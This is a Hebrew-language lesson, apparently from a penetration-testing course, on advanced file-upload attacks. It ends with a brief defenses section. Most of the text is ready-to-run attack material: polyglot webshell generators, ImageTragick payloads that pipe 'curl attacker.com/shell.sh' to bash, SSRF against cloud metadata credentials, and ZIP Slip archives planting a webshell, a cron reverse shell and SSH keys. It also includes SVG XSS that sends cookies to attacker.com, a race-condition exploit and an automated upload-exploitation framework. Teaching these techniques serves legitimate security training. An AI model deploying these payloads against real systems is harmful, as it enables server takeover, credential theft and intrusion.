לדלג לתוכן

העלאת קבצים מתקדמת - Advanced File Upload Attacks

חזרה קצרה

בקורס הבסיסי למדנו על העלאת קבצים כמו web shells ועקיפה של בדיקות סיומת בסיסיות. בשיעור זה נתעמק בטכניקות מתקדמות - קבצים פוליגלוטים, ניצול ImageMagick, התקפת ZIP Slip, מרוץ תנאים, ועוד.


קבצים פוליגלוטים - Polyglot Files

קובץ פוליגלוט הוא קובץ שתקין בו-זמנית בשני פורמטים שונים. האפליקציה רואה אותו כתמונה תקינה, אבל השרת מריץ אותו כקוד.

GIFAR - קובץ שהוא גם GIF וגם JAR/ZIP

# יצירת GIFAR
# GIF מתחיל ב-GIF89a (או GIF87a)
# ZIP/JAR קורא מסוף הקובץ (End of Central Directory)

# שלב 1: יצירת GIF מינימלי
printf 'GIF89a\x01\x00\x01\x00\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b' > minimal.gif

# שלב 2: יצירת JAR עם קוד זדוני
echo 'public class Evil { static { Runtime.getRuntime().exec("calc"); } }' > Evil.java
javac Evil.java
jar cf evil.jar Evil.class

# שלב 3: שרשור
cat minimal.gif evil.jar > gifar.gif

PHAR Polyglot - PHP Archive שנראה כתמונה

<?php
// יצירת PHAR שנראה כמו JPEG
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub(
    "\xff\xd8\xff\xe0" .  // JPEG magic bytes
    '<?php __HALT_COMPILER(); ?>'
);

// הוספת אובייקט מסוכן ל-metadata
class Exploit {
    public $command = "id";
    function __destruct() {
        system($this->command);
    }
}

$phar->setMetadata(new Exploit());
$phar->stopBuffering();

// שינוי שם ל-JPEG
rename('exploit.phar', 'exploit.jpg');
?>

ניצול ה-PHAR דרך פונקציות PHP שתומכות ב-stream wrappers:

// אם האפליקציה מבצעת אחת מהפעולות הבאות על הקובץ שהועלה:
file_exists("phar://uploads/exploit.jpg");
file_get_contents("phar://uploads/exploit.jpg");
include("phar://uploads/exploit.jpg");
// ה-metadata יעבור דסריאליזציה וה-destructor יורץ

יצירת פוליגלוט עם עריכת Hex

#!/usr/bin/env python3
"""
יצירת קובץ PNG שמכיל PHP code
"""

# PNG header (8 bytes)
png_header = b'\x89PNG\r\n\x1a\n'

# IHDR chunk (מינימלי)
import struct
import zlib

width = 1
height = 1
bit_depth = 8
color_type = 2  # RGB

ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth, color_type, 0, 0, 0)
ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)

# tEXt chunk עם PHP code
php_code = b'<?php system($_GET["cmd"]); ?>'
text_data = b'Comment\x00' + php_code
text_crc = zlib.crc32(b'tEXt' + text_data) & 0xffffffff
text_chunk = struct.pack('>I', len(text_data)) + b'tEXt' + text_data + struct.pack('>I', text_crc)

# IDAT chunk (pixel data)
raw_data = b'\x00' + b'\xff\x00\x00'  # 1 red pixel
compressed = zlib.compress(raw_data)
idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff
idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc)

# IEND chunk
iend_crc = zlib.crc32(b'IEND') & 0xffffffff
iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)

# כתיבת הקובץ
with open('polyglot.php.png', 'wb') as f:
    f.write(png_header + ihdr_chunk + text_chunk + idat_chunk + iend_chunk)

print("[+] Created polyglot PNG with PHP code")

ניצול ImageMagick - ImageTragick

רקע

ImageMagick היא ספרייה פופולרית לעיבוד תמונות. CVE-2016-3714 (ImageTragick) מאפשרת הרצת קוד דרך עיבוד תמונות.

Payload ב-MVG

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/"|id")'
pop graphic-context

שמרו כ-exploit.mvg והעלו לאפליקציה שמשתמשת ב-ImageMagick.

Payload ב-SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|id &quot;"
       x="0" y="0" height="640px" width="480px"/>
</svg>

SSRF דרך ImageMagick

push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context

קריאת קבצים

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/etc/passwd'
pop graphic-context

Payloads מתקדמים יותר

# שימוש ב-delegate לביצוע RCE
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.php?x=`curl attacker.com/shell.sh|bash`)'
pop graphic-context
<!-- SVG עם embedded script -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj48Ym9keSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+PGltZyBzcmM9Imh0dHA6Ly9hdHRhY2tlci5jb20vP3g9MSIvPjwvYm9keT48L2ZvcmVpZ25PYmplY3Q+PC9zdmc+#x"/>
</svg>

התקפת ZIP Slip

עקרון הפעולה

כשאפליקציה מחלצת קובץ ZIP, היא בדרך כלל משתמשת בשם הקובץ מתוך ה-ZIP כנתיב. אם שם הקובץ מכיל ../, ניתן לכתוב קבצים מחוץ לתיקייה המיועדת.

יצירת ZIP זדוני עם Python

#!/usr/bin/env python3
"""
יצירת קובץ ZIP עם Path Traversal
"""
import zipfile
import io

def create_zip_slip(output_filename, target_path, content):
    """
    output_filename: שם קובץ ה-ZIP
    target_path: הנתיב היעד (כולל ../)
    content: התוכן שיכתב
    """
    with zipfile.ZipFile(output_filename, 'w') as zf:
        # קובץ רגיל (כדי להיראות לגיטימי)
        zf.writestr('readme.txt', 'This is a normal file')

        # קובץ זדוני עם path traversal
        zf.writestr(target_path, content)

    print(f"[+] Created {output_filename}")
    print(f"[+] Malicious entry: {target_path}")

# דוגמה 1: כתיבת webshell
create_zip_slip(
    'exploit.zip',
    '../../../var/www/html/shell.php',
    '<?php system($_GET["cmd"]); ?>'
)

# דוגמה 2: כתיבת cron job
create_zip_slip(
    'cron_exploit.zip',
    '../../../etc/cron.d/backdoor',
    '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"\n'
)

# דוגמה 3: דריסת authorized_keys
create_zip_slip(
    'ssh_exploit.zip',
    '../../../root/.ssh/authorized_keys',
    'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... attacker@machine\n'
)

קוד פגיע

# Python - פגיע
import zipfile
import os

def extract_upload(zip_path, extract_dir):
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.namelist():
            # פגיע! לא מאמת את הנתיב
            zf.extract(member, extract_dir)

קוד מאובטח

# Python - מאובטח
import zipfile
import os

def safe_extract(zip_path, extract_dir):
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.namelist():
            # בדיקת path traversal
            member_path = os.path.realpath(
                os.path.join(extract_dir, member)
            )
            if not member_path.startswith(
                os.path.realpath(extract_dir)
            ):
                raise ValueError(
                    f"Path traversal detected: {member}"
                )
            zf.extract(member, extract_dir)

SVG XSS

קבצי SVG הם XML שיכולים להכיל JavaScript:

<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <script type="text/javascript">
    alert(document.cookie);
  </script>
  <rect width="100" height="100" fill="red"/>
</svg>
<!-- SVG XSS עם event handler -->
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="red"
        onload="fetch('http://attacker.com/?c='+document.cookie)"/>
</svg>
<!-- SVG XSS עם foreignObject -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100" height="100">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <script>alert(document.domain)</script>
    </body>
  </foreignObject>
</svg>

הזרקת JavaScript ב-PDF

<!-- PDF שמכיל JavaScript -->
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >>
endobj

4 0 obj
<< /Type /Action /S /JavaScript
   /JS (app.alert('XSS in PDF!');) >>
endobj

מרוץ תנאים בוולידציית העלאה - Race Condition

עקרון הפעולה

אפליקציות מסוימות מעלות את הקובץ קודם, ורק אז בודקות אותו. אם הבדיקה נכשלת - מוחקות אותו. ניתן לנצל את חלון הזמן בין ההעלאה למחיקה:

העלאה --> קובץ נכתב לדיסק --> בדיקה --> מחיקה
                |                           |
                +--- חלון הזמן לגישה -------+

סקריפט ניצול

#!/usr/bin/env python3
"""
Race condition exploit for file upload
"""
import requests
import threading
import time

TARGET = "http://vulnerable-app.com"
UPLOAD_URL = f"{TARGET}/upload"
SHELL_URL = f"{TARGET}/uploads/shell.php"

def upload_shell():
    """העלאת webshell שוב ושוב"""
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    while True:
        try:
            requests.post(UPLOAD_URL, files=files, timeout=2)
        except:
            pass

def access_shell():
    """ניסיון גישה ל-shell שוב ושוב"""
    while True:
        try:
            response = requests.get(
                f"{SHELL_URL}?cmd=id",
                timeout=2
            )
            if response.status_code == 200 and "uid=" in response.text:
                print(f"[+] SUCCESS! Output: {response.text}")
                return True
        except:
            pass

# הרצה במקביל
print("[*] Starting race condition exploit...")
upload_thread = threading.Thread(target=upload_shell)
access_thread = threading.Thread(target=access_shell)

upload_thread.daemon = True
access_thread.daemon = True

upload_thread.start()
access_thread.start()

access_thread.join(timeout=30)

טכניקות עקיפה נוספות

Content-Type מול סיומת

# שליחת קובץ PHP עם Content-Type של תמונה
files = {
    'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
requests.post(url, files=files)

סיומת כפולה - Double Extension

shell.php.jpg     # Apache עשוי להריץ כ-PHP
shell.php.xxx     # אם xxx לא מוכר, יחזור ל-PHP
shell.pHp         # עקיפת בדיקת case-sensitive

Null Byte - בייט אפס (מערכות ישנות)

shell.php%00.jpg  # URL encoded null byte
shell.php\x00.jpg # בגרסאות ישנות של PHP (<5.3.4)

העלאת .htaccess

אם אפשר להעלות קובץ .htaccess לתיקיית ההעלאות ב-Apache:

# .htaccess שגורם להרצת PHP בקבצי .jpg
AddType application/x-httpd-php .jpg

# או עם handler מותאם
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>
# שלב 1: העלאת .htaccess
files = {'file': ('.htaccess', 'AddType application/x-httpd-php .jpg')}
requests.post(upload_url, files=files)

# שלב 2: העלאת webshell עם סיומת .jpg
files = {'file': ('shell.jpg', '<?php system($_GET["cmd"]); ?>')}
requests.post(upload_url, files=files)

# שלב 3: גישה ל-shell
requests.get(f"{target}/uploads/shell.jpg?cmd=id")

העלאת web.config (IIS)

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config"
           path="*.config"
           verb="*"
           modules="IsapiModule"
           scriptProcessor="%windir%\system32\inetsrv\asp.dll"
           resourceType="Unspecified"
           requireAccess="Write"
           preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<!--
<%
Response.Write("RCE via web.config!")
Set objShell = CreateObject("WScript.Shell")
Set objExec = objShell.Exec("cmd /c whoami")
Response.Write(objExec.StdOut.ReadAll())
%>
-->

תרחיש ניצול מלא

#!/usr/bin/env python3
"""
Advanced File Upload Exploitation Framework
"""
import requests
import sys

class FileUploadExploiter:
    def __init__(self, target_url, upload_endpoint, upload_dir):
        self.target = target_url
        self.upload_url = f"{target_url}/{upload_endpoint}"
        self.upload_dir = f"{target_url}/{upload_dir}"

    def try_direct_php(self):
        """ניסיון העלאה ישירה של PHP"""
        print("[*] Trying direct PHP upload...")
        files = {'file': ('shell.php', '<?php system($_GET["c"]); ?>')}
        r = requests.post(self.upload_url, files=files)
        return self._check_shell("shell.php")

    def try_double_extension(self):
        """ניסיון סיומת כפולה"""
        print("[*] Trying double extension...")
        extensions = ['.php.jpg', '.php.png', '.php5', '.phtml', '.phar']
        for ext in extensions:
            filename = f"shell{ext}"
            files = {'file': (filename, '<?php system($_GET["c"]); ?>')}
            requests.post(self.upload_url, files=files)
            if self._check_shell(filename):
                return True
        return False

    def try_htaccess(self):
        """ניסיון העלאת .htaccess"""
        print("[*] Trying .htaccess upload...")
        htaccess = 'AddType application/x-httpd-php .jpg'
        files = {'file': ('.htaccess', htaccess)}
        requests.post(self.upload_url, files=files)

        files = {'file': ('shell.jpg', '<?php system($_GET["c"]); ?>')}
        requests.post(self.upload_url, files=files)
        return self._check_shell("shell.jpg")

    def try_content_type_bypass(self):
        """ניסיון עקיפת Content-Type"""
        print("[*] Trying Content-Type bypass...")
        files = {
            'file': ('shell.php', '<?php system($_GET["c"]); ?>', 'image/jpeg')
        }
        r = requests.post(self.upload_url, files=files)
        return self._check_shell("shell.php")

    def _check_shell(self, filename):
        """בדיקה אם ה-shell עובד"""
        url = f"{self.upload_dir}/{filename}?c=echo+PWNED"
        try:
            r = requests.get(url, timeout=5)
            if "PWNED" in r.text:
                print(f"[+] Shell uploaded: {url}")
                return True
        except:
            pass
        return False

    def run(self):
        """הרצת כל השיטות"""
        methods = [
            self.try_direct_php,
            self.try_double_extension,
            self.try_content_type_bypass,
            self.try_htaccess,
        ]
        for method in methods:
            if method():
                return True
        print("[-] All methods failed")
        return False

הגנות

שינוי שם קבצים

import uuid
import os

def safe_upload(file):
    # יצירת שם חדש לגמרי
    ext = os.path.splitext(file.filename)[1].lower()
    allowed_ext = {'.jpg', '.jpeg', '.png', '.gif', '.pdf'}
    if ext not in allowed_ext:
        raise ValueError("Extension not allowed")

    new_name = f"{uuid.uuid4()}{ext}"
    file.save(os.path.join(UPLOAD_DIR, new_name))

אחסון מחוץ ל-webroot

# שמירה מחוץ לתיקייה הציבורית
UPLOAD_DIR = "/var/uploads/"  # לא תחת /var/www/html/

# הגשה דרך controller
@app.route('/files/<filename>')
def serve_file(filename):
    return send_from_directory(UPLOAD_DIR, filename)

וולידציית תוכן

import magic

def validate_content(filepath):
    mime = magic.from_file(filepath, mime=True)
    allowed_mimes = {'image/jpeg', 'image/png', 'image/gif'}
    if mime not in allowed_mimes:
        os.remove(filepath)
        raise ValueError(f"Invalid content type: {mime}")

דומיין נפרד להעלאות

# הגשת קבצים מדומיין נפרד למניעת XSS
uploads.example-cdn.com  # דומיין אחר לגמרי

סיכום

טכניקה שימוש דרישות
פוליגלוט עקיפת בדיקת תוכן ידע ב-hex editing
ImageTragick RCE/SSRF דרך תמונות ImageMagick לא מעודכן
ZIP Slip כתיבת קבצים מחוץ לתיקייה חילוץ ZIP ללא ולידציה
SVG XSS XSS דרך העלאת תמונות הגשת SVG ישירות
Race Condition ניצול חלון זמן בין העלאה למחיקה העלאה ובדיקה לא אטומיות
.htaccess שינוי הגדרות Apache אפשרות להעלות .htaccess
סיומת כפולה עקיפת בדיקת סיומת הגדרת Apache/Nginx ספציפית